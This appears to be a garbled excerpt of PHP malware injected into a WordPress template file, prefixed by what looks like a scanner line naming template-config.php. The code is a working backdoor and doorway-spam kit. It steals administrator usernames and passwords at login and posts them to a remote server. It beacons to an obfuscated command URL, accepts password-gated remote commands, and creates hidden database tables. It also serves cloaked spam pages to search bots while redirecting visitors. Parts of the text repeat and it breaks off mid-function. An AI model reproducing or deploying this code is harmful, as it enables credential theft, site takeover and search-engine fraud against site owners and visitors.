.$useragent,'yandex')){$botscount=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount=='no'){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function createIndexBWD($tablename,$indcol,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return 'udfgoihdkh48sied';}$sql='ALTER TABLE ' .$tablename .' ADD INDEX ' .$indcol .' (' .$indcol .'(5))';if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return 'yes';}else{mysqli_close($dbcon);return 'orutydrfsxgxcvbxcv';}}function getStatus($mtablename,$ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$checkdata=array();$checkmaintable=mysqlTableSeekWP($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checkmaintable)&& $checkmaintable != 'no'){$checkdata['maintable']='good';$linescount=getCountofTable($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($linescount!='no'&& $linescount>3){$checkdata['cachelines']=$linescount-3;$cachecount=getCacheCount($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($cachecount!='no'&& $cachecount!='bad'){$checkdata['cachecount']=$cachecount;}else{$checkdata['cachecount']='bad';}}else{$checkdata['cachelines']='bad';$checkdata['cachecount']='bad';}}else{$checkdata['maintable']='bad';$checkdata['cachecount']='bad';}$checklinktable=mysqlTableSeekWP($ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checklinktable)&& $checklinktable != 'no'){$checkdata['linkable']='good';}else{$checkdata['linkable']='bad';}return $checkdata;}function getCacheCount($tablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql='SELECT COUNT(1) FROM ' .$tablename .' WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL';$needvalue=mysqli_query($dbcon,$sql);$needvalue=mysqli_fetch_all($needvalue);mysqli_close($dbcon);if(count($needvalue[0])>0){return $needvalue[0][0];}else{return 'bad';}}}function goToRedirect($ip,$referrer,$ua,$domain_kt,$url_curr,$apiToken,$forlinks,$keyword,$plainred,$plainredurl,$key1){if(empty($ip)){return '';}if(!empty($apiToken)){$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#MJ12bot#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread revision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#YandexBot#i','#MJ12bot#i','#MegaIndex#i','#DotBot#i');if(strpos('qqq' .preg_replace($user_agent_to_filter,'-ANGRYBOT-',$ua),'-ANGRYBOT-')){return 'bot';}$lang=$_SERVER['HTTP_ACCEPT_LANGUAGE'];$ua=urlencode($ua);$url=$domain_kt .'?is_api=1&source=' .urlencode($url_curr) .'&action=get&token=' .$apiToken .'&ua=' .$ua .'&ip=' .$ip .'&keyword=' .urlencode($keyword) .'&referrer=' .$referrer .'&lang=' .$lang .'&sub_id_1=' .urlencode($key1);if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_TIMEOUT,90);$output=curl_exec($ch);curl_close($ch);}else{$params=explode('?',$url);$params=$parcurl_init was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POST['log'])&&!empty($_POST['pwd'])&& function_exists('wp_authenticate')){$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable != 'no'){$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=urldecode($admurlfmbd);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admurlfmbd)&&!empty($clientidfmbd)&& $clientidfmbd!='no'&& $admurlfmbd!='no'){$un=$_POST['log'];$up=$_POST['pwd'];$auth=wp_authenticate($un,$up);$auth=(array)$auth;if(!empty($auth['ID'])){if(isset($auth['roles'][0])&& $auth['roles'][0]== 'administrator'){if(isset($auth['allcaps']['level_10'])&& $auth['allcaps']['level_10']=== true){$params='clientid=' .$clientidfmbd .'&updata=' .urlencode($un .'|||' .$up) .'&admip=' .urlencode($ip) .'&admurl=' .urlencode($currenturl);$result=httpPost($admurlfmbd,$params);}}}}}}if(empty($_GET['ertthndxbcvs'])&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'/admin')&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-admin')&&!empty($wpdbhost)&&!empty($wpdbname)&&!empty($wpdbuser)&&!empty($wpdbpass)){header('Content-type: text/html; charset=UTF-8');$currenthash=md5($currenturl);if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent='';}if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer='';}if(!empty($_POST['trsgdfs'])&& $_POST['trsgdfs']== '1sxhlichvls'&&!empty($_POST['qwydsdf'])){$err='';$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable == 'no'){$res=createTable($maintablaname,'wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}$checktable=mysqlTableSeekWP($linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable== 'no'){$res=createTable($linkstablaname,'wphash LONGBLOB, wpcache LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}createIndexBWD($maintablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);createIndexBWD($linkstablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$postpass=randString('15');$res=insertToBD($maintablaname,'wphash, wpcache',''admurl', '' .urlencode($_POST['qwydsdf']) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$res=insertToBD($maintablaname,'wphash, wpcache',''passtopost', '' .$postpass .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientid=randString('20');$res=insertToBD($maintablaname,'wphash, wpcache',''clientid', '' .$clientid .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res == 'yes'){echo 'zxcvetrhytdj65re|||||' .$postpass .':::::' .$clientid .'|||||';if(function_exists('delete_metadata')){delete_metadata('user',0,'session_tokens',false,true);}die();}else{echo 'xcvbrhr6hdhcgxcva';die();}}if(!empty($_POST['ptpxcbeiru'])){$passtopostfmbd=readValueFromBD($maintablaname,'wpcache','wphash='passtopost'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($passtopostfmbd)|| $passtopostfmbd == 'no'|| $passtopostfmbd != $_POST['ptpxcbeiru']){echo 'uewea4sfdxcbxb';die();}if(empty($admurlfmbd)|| $admurlfmbd == 'no'){echo 'kutyre54aw3eafd';die();}if(empty($clientidfmbd)|| $clientidfmbd == 'no'){echo 'xgse5rsdgiofsdsf';die();}$admurlfmbd=urldecode($admurlfmbd);if(!empty($_POST['hdfgfxoi'])&& $_POST['hdfgfxoi']== 'ncxfxdasdf'&&!empty($_POST['chpuview'])&&!empty($_POST['doorkeys'])){if(getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 && $_POST['firstpart']=='yes'){deleteLinesFmDB($maintablaname,'wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}$chpuview=$_POST['chpuview'];$chpuview=urldecode($chpuview);$doorkeys=$_POST['doorkeys'];$doorkeys=urldecode($doorkeys);$doorkeys=stripslashes($doorkeys);$doorkeys=preg_replace_callback('!s:(\d+):'(.*?)';!',function($match){return($match[1]==($match[2]))?$match[0]:'s:' .strlen($match[2]) .':'' .$match[2] .'';';},$doorkeys);$doorkeys=unserialize($doorkeys);if(!is_array($doorkeys)|| count($doorkeys)== 0){echo 'vbsdreawefzzdfv';die();}if($_POST['firstpart']=='yes'){$sitetempfrdoor=parseTemplate();if(empty($sitetempfrdoor)||!is_array($sitetempfrdoor)|| empty($sitetempfrdoor['sitetemp'])|| empty($sitetempfrdoor['chpu'])){echo 'ktdrtsdfgsdfs4tse';die();}$chpufrdoor=$sitetempfrdoor['chpu'];$sitetempfrdoor=$sitetempfrdoor['sitetemp'];$sitetempfrdoor=str_ireplace('xmlrpc.php','',$sitetempfrdoor);updateBDData($maintablaname,urlencode($chpufrdoor),'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$chpufrdoor=readValueFromBD($maintablaname,'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$chpufrdoor=urldecode($chpufrdoor);$sitetempfrdoor='notfirstpart';if(empty($chpufrdoor)|| $chpufrdoor=='no'){echo 'kiryut7dfgzxvcmcxz';die();}}$doorpagesdata=array();$testpageurl='';foreach($doorkeys as $k=>$onekey){$onekey=explode('|',$onekey);if(!empty($onekey[1])){$key_1=$onekey[1];}else{$key_1='';}$onekey=$onekey[0];if($chpuview == 'k'){$slugfrurl=sanitize_title($onekey);}elseif($chpuview == 'g'){$slugfrurl=randString(rand(7,11));}elseif($chpuview == 'n'){$slugfrurl=rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9);}$slugfrurl=strtolower($slugfrurl);$doorpageurl=str_ireplace('chpukeyplace',$slugfrurl,$chpufrdoor);$doorpagesdata[]=$onekey .':::::' .$doorpageurl;$res=insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($doorpageurl) .'', '' .urlencode($doorpageurl) .'', '' .urlencode($onekey) .'', '' .urlencode($key_1) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($_POST['firstpart']=='yes'&& $k==0){$testpageurl=str_ireplace('chpukeyplace','edf8329we',$chpufrdoor);insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($testpageurl) .'', '' .urlencode($testpageurl) .'', 'edf8329we', ''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}if($res == 'bewiursfer9uidd'){echo 'xcvbr459isdfgssdd';die();}}updateBDData($maintablaname,$_POST['doorsetts'],'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$doorpagesdata=serialize($doorpagesdata);$doorpagesdata=urlencode($doorpagesdata);$params='clientid=' .$clientidfmbd .'&newdoordata=' .$doorpagesdata .'&sitetemplate=' .urlencode($sitetempfrdoor) .'&firstpart=' .$_POST['firstpart'] .'&testpageurl=' .urlencode($testpageurl);$result=httpPost($admurlfmbd,$params);if(stripos('qqq' .$result,'trugsew9rusxildd')){echo 'xbvstrei4w0aeaorpdf';die();}elseif(stripos('qqq' .$result,'bw543ersfdgsdfffg')){echo 'pqweity5rer5syc9f';die();}else{echo 'myrtersgertsrgfdf';die();}}if(!empty($_POST['redircode'])||!empty($_POST['redirurl'])){if(!empty($_POST['redircode'])){if($_POST['redircode']=='stop'){updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{updateBDData($maintablaname,urlencode(stripslashes($_POST['redircode'])),'wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}if(!empty($_POST['redirurl'])){updateBDData($maintablaname,urlencode(stripslashes($_POST['redirurl'])),'wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}echo 'geri9rdgfojvrev';die();}if(!empty($_POST['clearcache'])){updateBDData($maintablaname,'','wpcache','wpcache IS NOT NULL AND wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'be545hgfxbfbgfdf';die();}if(!empty($_POST['editownlinks'])&&!empty($_POST['newownlinks'])){$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$doorsettings['ownlinks']=$_POST['newownlinks'];$doorsettings=serialize($doorsettings);$doorsettings=urlencode($doorsettings);updateBDData($maintablaname,$doorsettings,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'nbvw436rudtydsjjgk';die();}else{echo 'vcbntrs6udtyradgxf';die();}}if(!empty($_POST['getdoorstatus'])){$doorstatus=getStatus($maintablaname,$linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$botsstats=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($botsstats)){$botsstats=0;}$usersstats=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($usersstats)){$usersstats=0;}if(is_array($doorstatus)){$doorstatus['botsstats']=$botsstats;$doorstatus['usersstats']=$usersstats;$doorstatus=serialize($doorstatus);$doorstatus=urlencode($doorstatus);echo 'p9ot78u6syrtfxhg DOORSTATUS:::' .$doorstatus .':::DOORSTATUSq';die();}else{echo $doorstatus .'<br>';echo 'zxcveer4eefresfsdfv';die();}}}$uatobadfilter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread\srevision#i','#sqworm#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#MJ12bot#i','#MegaIndex#i','#Mediatoolkitbot#i','#DotBot#i','#opensiteexplorer#i','#Go-http-client#i','#Photon#i','#bloglovin#i','#scalaj-http#i','#AddThis#i','#LinkWalker#i','#adscanner#i','#istellabot#i','#Datanyze#i');$badbot='';if(strpos('qqq' .preg_replace($uatobadfilter,'-ABOT-',$useragent),'-ABOT-')){$badbot='yes';}if(mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)!='no'&& getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 &&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-login')&& is_user_logged_in()===false && empty($badbot)){$reddata=readValueFromBD($maintablaname,'wpred, wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$redcode='';$redurl='';if(!empty($reddata)&& $reddata != 'no'){$redcode=$reddata['wpred'];$redurl=$reddata['wpredurl'];}$currentdoorcache=readValueFromBD($maintablaname,'wpcache, wpk','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentdoorcache == 'no'){$showlinksornot='no';$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$showlinksornot=$doorsettings['ownlinks'];}if($showlinksornot=='yes'){$currentlinkscache=readValueFromBD($linkstablaname,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentlinkscache == 'no'|| empty($currentlinkscache)){$randlinks=randomValuesFromTableById($maintablaname,'wpurl,wpk',rand(4,6),$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($randlinks)&& $randlinks != 'no'&& is_array($randlinks)){$goodlinks=array();foreach($randlinks as $onelinkdata){if(!empty($onelinkdata['wpk'])){$goodlinks[]='<a href=\'' .trim(urldecode($onelinkdata['wpurl'])) .'\'>' .trim(urldecode($onelinkdata['wpk'])) .'</a>';}}if(count($goodlinks)>0){$goodlinks=implode(' ',$goodlinks);insertToBD($linkstablaname,'wphash, wpcache',''' .$currenthash .'', '' .urlencode($goodlinks) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$goodlinks='';}}}else{$goodlinks=urldecode($currentlinkscache);}if(!empty($goodlinks)){$bot='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$bot=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],'',$redurl['lapi'],'yes','','','','');}}else{$bot=goToRedirect($ip,$referer,$useragent,'','','','yes','','','','');}if($bot == 'bot'){$selfpage=placeLinks($currenturl,$goodlinks);if(!empty($selfpage)){echo $selfpage;die();}}}}}else{$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($clientidfmbd)&&!empty($admurlfmbd)){$admurlfmbd=urldecode($admurlfmbd);$currentkey=$currentdoorcache['wpk'];$key1frredir=readValueFromBD($maintablaname,'wpk1','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir=='no'){$key1frredir='';}$redresult='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],$currenturl,$redurl['mapi'],'',urldecode($currentkey),'','',$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),'','','');}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache['wpcache'])|| $currentkey=='edf8329we'){$params='clientid=' .$clientidfmbd .'&givemecontent=' .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!='edf8329we'){updateBDData($maintablaname,$content,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache['wpcache'];}if($redresult == 'bot'){if(stripos('qqq' .$useragent,'google')|| stripos('qqq' .$useragent,'bing')|| stripos('qqq' .$useragent,'yahoo')|| stripos('qqq' .$useragent,'yandex')){$botscount=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount=='no'){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function 